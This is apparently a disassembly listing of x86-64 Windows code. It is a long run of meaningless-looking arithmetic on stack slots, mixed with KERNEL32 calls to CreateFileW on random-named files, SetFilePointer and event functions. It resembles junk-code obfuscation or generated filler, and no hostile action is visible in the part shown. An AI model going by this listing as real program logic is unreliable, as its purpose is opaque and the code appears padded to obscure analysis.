call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x740]
movzx eax, word [rax]
mov word [rsp + 0x1618], ax
movzx eax, word [rsp + 0x5fc]
mov rcx, qword [rsp + 0x16a0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1288]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x62df
mov rcx, qword [rsp + 0x2c78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
lea rax, [rsp + 0x2e90]
mov qword [0x1400fd568], rax
movzx eax, word [rsp + 0x718]
movzx ecx, word [0x1400fd168]
add eax, ecx
mov rcx, qword [rsp + 0xd88]
mov word [rcx], ax
lea rax, [rsp + 0x328]
mov qword [rsp + 0x25b8], rax
mov rax, qword [rsp + 0x760]
movzx ecx, al
mov rax, qword [rsp + 0x1ca8]
sar rax, cl
mov rcx, qword [rsp + 0x7c8]
mov qword [rcx], rax
lea rax, [0x1400fc390]
mov qword [rsp + 0x2870], rax
movsx eax, byte [rsp + 0x136]
mov rcx, qword [rsp + 0x1ff0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x1510]
mov byte [rcx], al
mov rax, qword [rsp + 0x1058]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14c0]
add eax, dword [rcx]
mov dword [rsp + 0x9a8], eax
lea rax, [rsp + 0x2df]
mov qword [rsp + 0x2270], rax
mov eax, dword [rsp + 0x208]
mov ecx, dword [rsp + 0xac4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dc], eax
movsx eax, word [rsp + 0x490]
movsx ecx, word [rsp + 0xf0]
and eax, ecx
mov word [0x1400fd498], ax
lea rax, [rsp + 0x370]
mov qword [rsp + 0x3048], rax
movzx eax, word [rsp + 0x698]
movzx ecx, word [rsp + 0x374]
and eax, ecx
mov rcx, qword [rsp + 0x14f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x24e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c0]
sub eax, ecx
mov word [rsp + 0xaac], ax
movsx eax, byte [rsp + 0x61]
movsx ecx, byte [rsp + 0x1c5]
or eax, ecx
mov byte [rsp + 0x3fc], al
mov rax, qword [rsp + 0x2828]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2858]
shl rax, cl
mov qword [rsp + 0x1348], rax
lea rax, [rsp + 0x330]
mov qword [rsp + 0x1db0], rax
mov rax, qword [0x1400fd510]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x71c]
xor eax, ecx
mov rcx, qword [rsp + 0x1010]
mov word [rcx], ax
mov rax, qword [rsp + 0x2298]
movzx eax, word [rax]
mov word [rsp + 0x2210], ax
mov rax, qword [rsp + 0x22b0]
mov rax, qword [rax]
mov qword [0x1400fd570], rax
mov rax, qword [rsp + 0xa18]
movzx ecx, al
mov rax, qword [rsp + 0x14e8]
sar rax, cl
mov rcx, qword [rsp + 0x9b0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x3d78]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x434c], eax
mov rax, qword [rsp + 0x1b78]
mov rax, qword [rax]
add rax, qword [rsp + 0x3660]
mov rcx, qword [rsp + 0x620]
mov qword [rcx], rax
lea rax, [rsp + 0x1830]
mov qword [rsp + 0xf68], rax
movzx eax, word [0x1400fd150]
mov rcx, qword [rsp + 0xdd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4d8], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x90ba
mov rcx, qword [rsp + 0x1f88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x197c], eax
movzx eax, byte [rsp + 0x2c9]
mov byte [rsp + 0x3fe], al
mov eax, dword [rsp + 0xb94]
mov ecx, dword [rsp + 0xad8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1e48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x470]
mov rcx, qword [rsp + 0x1af8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2328], rax
mov rax, qword [rsp + 0x22d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11e]
sar eax, cl
mov byte [rsp + 0x3fd], al
mov rax, qword [rsp + 0x750]
mov ecx, dword [rsp + 0x8d4]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1400fd318], eax
mov rcx, qword [rsp + 0xc60]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x2398]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa78]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x23a0]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd2c7
mov rcx, qword [rsp + 0x28e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x349c], eax
mov rcx, qword [rsp + 0x1338]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xe30], eax
mov rax, qword [rsp + 0xd70]
movzx eax, word [rax]
mov word [rsp + 0x6c4], ax
movzx eax, word [0x1400fc450]
movzx ecx, word [rsp + 0x5c4]
add eax, ecx
mov word [rsp + 0x450], ax
mov rax, qword [rsp + 0x1308]
mov rcx, qword [rsp + 0x1fb8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x618]
mov qword [rcx], rax
lea rax, [rsp + 0x2330]
mov qword [rsp + 0x4990], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xb63f
mov rcx, qword [rsp + 0x28c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x34dc], eax
mov rax, qword [rsp + 0x1f48]
mov eax, dword [rax]
mov ecx, dword [0x1400fd214]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd28]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x1160]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x1c8]
mov qword [rsp + 0x4188], rax
movsx eax, word [rsp + 0x43c]
movsx ecx, word [rsp + 0x398]
shl eax, cl
mov rcx, qword [rsp + 0x1230]
mov word [rcx], ax
lea rax, [rsp + 0x49c]
mov qword [0x1400fd578], rax
mov rax, qword [rsp + 0x1060]
mov rcx, qword [rsp + 0x540]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2570], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xac11
mov rcx, qword [rsp + 0x3690]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x484], eax
movzx eax, word [rsp + 0x4f0]
movzx ecx, word [rsp + 0x36c]
sar eax, cl
mov word [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock], ax
mov rax, qword [rsp + 0x948]
mov eax, dword [rax]
add eax, dword [rsp + 0x1a98]
mov rcx, qword [rsp + 0x23d0]
mov dword [rcx], eax
lea rax, [rsp + 0x172]
mov qword [rsp + 0x2e20], rax
mov rcx, qword [rsp + 0x1ce0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [0x1400fd530]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x990], rax
mov rax, qword [rsp + 0x1430]
movzx eax, byte [rax]
mov byte [rsp + 0x3ee], al
mov rax, qword [rsp + 0xca8]
mov ecx, dword [rsp + 0xce0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x684], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.3Y5cg
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3db8], rax
movsx eax, word [rsp + 0x4b0]
movsx ecx, word [0x1400fc47c]
sar eax, cl
mov rcx, qword [rsp + 0xd70]
mov word [rcx], ax
lea rax, [rsp + 0x13c]
mov qword [0x1400fd580], rax
mov rax, qword [rsp + 0x25b8]
mov rax, qword [rax]
mov qword [rsp + 0x1f80], rax
mov rax, qword [rsp + 0x1a08]
mov rcx, qword [rsp + 0xc58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x19f8]
mov qword [rcx], rax
lea rax, [rsp + 0x1550]
mov qword [rsp + 0x31c8], rax
mov rax, qword [rsp + 0x17c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x648]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x704], ax
mov rax, qword [rsp + 0x2300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1890]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x11c0]
mov qword [rcx], rax
lea rax, [rsp + 0x688]
mov qword [rsp + 0x2548], rax
mov rcx, qword [rsp + 0x1e68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xad0], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa392
mov rcx, qword [rsp + 0x2b90]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x218c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3cf0], rax
movsx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0x1f68]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2280]
mov byte [rcx], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xfcbd
mov rcx, qword [rsp + 0x2390]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe08], eax
mov rcx, qword [rsp + 0x2ce0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x9bf6
mov rcx, qword [rsp + 0x2438]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13bc], eax
lea rax, [rsp + 0x1ca8]
mov qword [rsp + 0x1d78], rax
mov rcx, qword [rsp + 0x1338]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [0x1400fc478]
mov rcx, qword [rsp + 0xa28]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1400fd4b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x19e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3a0]
or eax, ecx
mov word [rsp + 0x214], ax
mov rax, qword [rsp + 0x340]
imul eax, dword [rax], 0x1f6511f9
mov rcx, qword [rsp + 0x1ca0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x15a]
sar eax, cl
mov byte [rsp + reloc.SHELL32.dll_SHGetImageList], al
mov rax, qword [rsp + 0x1268]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2448]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1808], rax
mov rax, qword [rsp + 0x1950]
movzx eax, byte [rax]
mov byte [rsp + 0x3ef], al
mov eax, dword [rsp + 0x11bc]
mov ecx, dword [rsp + 0x11b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce0], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1786
mov rcx, qword [rsp + 0x1d18]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9e8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2f00], rax
mov rax, qword [rsp + 0xd90]
mov rax, qword [rax]
add rax, qword [rsp + 0x1e80]
mov qword [rsp + 0x2420], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xe0c8
mov rcx, qword [rsp + 0x1cb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe14], eax
mov rax, qword [rsp + 0x1230]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1798]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4e0], ax
movzx eax, word [rsp + 0x31c]
mov rcx, qword [rsp + 0x2e10]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1400fd450], ax
mov rax, qword [rsp + 0x7f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2e88]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f88], rax
mov rax, qword [rsp + 0x1768]
movzx eax, word [rax]
mov word [rsp + 0x1658], ax
movsx eax, word [rsp + 0x6c4]
mov rcx, qword [rsp + 0x1eb0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x5f8], ax
mov rcx, qword [rsp + 0x3d68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a9c], eax
mov rax, qword [rsp + 0x618]
mov rcx, qword [rsp + 0xa30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1b28], rax
mov rax, qword [rsp + 0xc70]
mov rcx, qword [rsp + 0x1878]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2848], rax
mov eax, dword [rsp + 0x630]
mov ecx, dword [rsp + 0xcbc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1788]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.yAOfB8h5psGx38rMB8QEhWW
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3088], rax
movzx eax, byte [rsp + 0x578]
mov byte [rsp + 0x403], al
mov rax, qword [rsp + 0xd68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2e10]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x468]
mov word [rcx], ax
lea rax, [rsp + 0xfe0]
mov qword [0x1400fd588], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x3228], rax
mov rcx, qword [rsp + 0x1b38]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27c0], eax
mov rax, qword [rsp + 0x14c0]
mov rcx, qword [rsp + 0x25d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x24c8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x224]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x788]
mov word [rcx], ax
mov rax, qword [0x1400fd2d0]
movzx eax, word [rax]
mov word [rsp + 0xaa8], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xdf10
mov rcx, qword [rsp + 0x1028]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7a8], eax
mov eax, dword [rsp + 0x630]
movzx ecx, al
mov eax, dword [rsp + 0x900]
shr eax, cl
mov dword [rsp + 0xb9c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x36d8], rax
lea rax, [rsp + 0xbc]
mov qword [rsp + 0x23b0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xc433
mov rcx, qword [rsp + 0x1320]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcc4], eax
mov rax, qword [rsp + 0x17d8]
mov rcx, qword [0x1400fd148]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1418], rax
mov rax, qword [rsp + 0x7e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x310]
and eax, ecx
mov word [rsp + 0x6d4], ax
mov rax, qword [rsp + 0x10a8]
movzx eax, word [rax]
mov word [0x1400fd590], ax
mov rax, qword [rsp + 0x1350]
mov rcx, qword [rsp + 0x2aa0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3948], rax
mov rcx, qword [rsp + 0x1f20]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1694], eax
mov rax, qword [rsp + 0x1ed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b0]
add rax, qword [rcx]
mov qword [rsp + 0x17d0], rax
mov rax, qword [rsp + 0x7c8]
mov rax, qword [rax]
mov qword [rsp + 0x2380], rax
mov rax, qword [rsp + 0x1230]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xda0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa28]
mov word [rcx], ax
mov rax, qword [rsp + 0x2870]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1ad8]
mov qword [rsp + 0x48d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x48d0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2c70], rax
mov eax, dword [0x1400fd550]
movzx ecx, al
mov eax, dword [rsp + 0x900]
shl eax, cl
mov rcx, qword [rsp + 0x1860]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2388]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2cb]
or eax, ecx
mov rcx, qword [rsp + 0x2b78]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.zZPItJG3w2m8yr8rxvjgJK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2ed0], rax
mov rax, qword [rsp + 0x520]
movzx eax, byte [rax]
mov byte [rsp + 0xe50], al
mov rcx, qword [rsp + 0x3d70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a54], eax
mov eax, dword [rsp + 0x3c8]
mov ecx, dword [rsp + 0x7a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x13a8], eax
movsx eax, word [rsp + 0xb1c]
movsx ecx, word [rsp + 0x6c8]
sub eax, ecx
mov word [0x1400fd4e0], ax
mov rax, qword [rsp + 0x16a0]
movzx eax, word [rax]
mov word [rsp + 0xe5c], ax
movzx eax, word [rsp + 0x1dc]
mov rcx, qword [rsp + 0x1770]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x6f0], ax
mov rax, qword [rsp + 0x1d30]
mov rcx, qword [rsp + 0x7c8]
mov qword [rsp + 0x48d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x48d8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3d80], rax
mov rax, qword [rsp + 0x2e80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3740]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x32e0], rax
mov rax, qword [rsp + 0x19d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x798], eax
lea rax, [rsp + 0xe56]
mov qword [rsp + 0x2e68], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10e0
mov rcx, qword [rsp + 0x1f40]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbc8], eax
movsx eax, word [rsp + 0x250]
movsx ecx, word [0x1400fd498]
and eax, ecx
mov word [rsp + 0x264], ax
movzx eax, word [rsp + 0x564]
movzx ecx, word [rsp + 0x26c]
and eax, ecx
mov word [rsp + 0x254], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4200], rax
mov rax, qword [rsp + 0x2240]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x760]
and rcx, rax
mov rax, rcx
mov qword [0x1400fc488], rax
movzx eax, word [rsp + 0x24c]
mov word [rsp + 0xaf4], ax
mov rax, qword [rsp + 0x1350]
mov rcx, qword [rsp + 0x1f80]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x1138]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1ed0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1760]
sar rax, cl
mov qword [rsp + 0x3240], rax
mov rax, qword [rsp + 0x22c0]
mov rcx, qword [rsp + 0x2e80]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x1f78], rax
lea rax, [rsp + 0x514]
mov qword [rsp + 0x3090], rax
mov rax, qword [rsp + 0x1730]
mov rcx, qword [0x1400fd138]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xe38], eax
mov rax, qword [rsp + 0x1c78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf5]
shl eax, cl
mov rcx, qword [rsp + 0x2e20]
mov byte [rcx], al
movzx eax, byte [rsp + 0x236]
mov byte [rsp + 0x1bf], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe68d
mov rcx, qword [rsp + 0x2000]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a3c], eax
lea rax, [rsp + 0x4c8]
mov qword [0x1400fd598], rax
mov rcx, qword [rsp + 0x3700]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.1Bq75c8JNQcwYgySipcCSlTuYhMB
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3928], rax
mov rcx, qword [rsp + 0x1810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xe30], eax
mov rax, qword [0x1400fd278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x70c]
sub eax, ecx
mov word [rsp + 0x6d4], ax
movzx eax, word [rsp + 0x4a0]
mov word [rsp + 0x162c], ax
movzx eax, word [rsp + 0x49c]
movzx ecx, word [0x1400fd3d0]
add eax, ecx
mov rcx, qword [rsp + 0xdd0]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd15a
mov rcx, qword [rsp + 0x2cd8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1980], eax
movsx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x508]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3f7], al
mov rax, qword [rsp + 0x1498]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x900]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x27f0], eax
mov rax, qword [rsp + 0xa10]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xf98]
shr rax, cl
mov qword [rsp + 0x1eb8], rax
mov rax, qword [rsp + 0x1798]
movzx eax, word [rax]
mov word [rsp + 0xc10], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3a70], rax
movzx eax, word [rsp + 0x5fc]
mov rcx, qword [rsp + 0xd10]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd88]
mov word [rcx], ax
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x2850]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x1400fd3b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x790]
mov rcx, qword [rsp + 0x7f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x29a8], rax
mov rax, qword [rsp + 0x1b18]
mov rcx, qword [rsp + 0x1038]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3d60], rax
mov rax, qword [rsp + 0x1880]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf68]
add rax, qword [rcx]
mov qword [rsp + 0x25f8], rax
movzx eax, word [rsp + 0x1cc]
mov word [rsp + 0x44c], ax
mov rax, qword [rsp + 0x1cd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x520]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xf5], al
mov rax, qword [rsp + 0x1948]
mov eax, dword [rax]
mov dword [rsp + 0x1918], eax
mov rax, qword [rsp + 0x1448]
mov rcx, qword [rsp + 0x1260]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2530]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x35c7
mov rcx, qword [rsp + 0x1cb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe28], eax
mov rax, qword [rsp + 0x7b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2cb8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x23a], al
mov eax, dword [rsp + 0x8d8]
mov rcx, qword [rsp + 0x18f8]
mov qword [rsp + 0x48e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x48e0]
mov eax, dword [rax]
shr eax, cl
mov dword [0x1400fc49c], eax
mov rcx, qword [rsp + 0x1bf0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27c0], eax
lea rax, [rsp + 0x6ac]
mov qword [rsp + 0x1b60], rax
movsx eax, word [0x1400fd498]
movsx ecx, word [rsp + 0x23c]
sub eax, ecx
mov word [rsp + 0x460], ax
mov rax, qword [rsp + 0xda8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa8]
add eax, ecx
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x1138]
mov rcx, qword [0x1400fd2b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x320]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.lkfdbxMqWvWlXUkVlzYxc
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3738], rax
mov rax, qword [rsp + 0x2cb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ba]
sar eax, cl
mov byte [rsp + 0x1c8], al
lea rax, [rsp + 0x10e4]
mov qword [rsp + 0x38d0], rax
mov rax, qword [0x1400fd380]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x500]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1a58], rax
mov rax, qword [rsp + 0x1698]
movzx eax, word [rax]
mov word [rsp + 0x868], ax
mov rax, qword [rsp + 0xa60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8c0]
add eax, ecx
mov rcx, qword [0x1400fd1a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2838]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1c88], rax
mov rax, qword [rsp + 0x650]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19b0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x714], ax
lea rax, [rsp + 0x1a88]
mov qword [rsp + 0x2f48], rax
movzx eax, byte [rsp + 0x400]
movzx ecx, byte [rsp + 0x22b]
or eax, ecx
mov rcx, qword [rsp + 0x1468]
mov byte [rcx], al
lea rax, [rsp + 0x500]
mov qword [rsp + 0x3ab8], rax
mov rax, qword [rsp + 0x3050]
mov rcx, qword [rsp + 0x1450]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcbc], eax
mov rax, qword [rsp + 0x4188]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2e68]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x236], al
mov rax, qword [rsp + 0x9d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbdc], ax
movzx eax, word [rsp + 0x2d8]
mov word [0x1400fd5a0], ax
mov rax, qword [rsp + 0xf88]
mov rax, qword [rax]
mov rcx, qword [0x1400fd4f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x16f0]
mov qword [rsp + 0x30e8], rax
mov rax, qword [rsp + 0x1010]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xfe8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x98], ax
lea rax, [rsp + 0xc20]
mov qword [rsp + 0x2620], rax
mov rax, qword [rsp + 0x1c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x998]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e8], eax
mov rax, qword [rsp + 0x19b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x17d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc98], rax
lea rax, [rsp + 0x2d4]
mov qword [rsp + 0x36b8], rax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xfa8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1c50]
sar rax, cl
mov qword [rsp + 0x2f40], rax
mov rax, qword [rsp + 0xa78]
movsx eax, word [rax]
mov rcx, qword [0x1400fd598]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fd4d0], ax
movzx eax, word [rsp + 0xb10]
movzx ecx, word [rsp + 0x178]
and eax, ecx
mov word [rsp + 0x268], ax
mov rax, qword [rsp + 0x25d8]
mov eax, dword [rax]
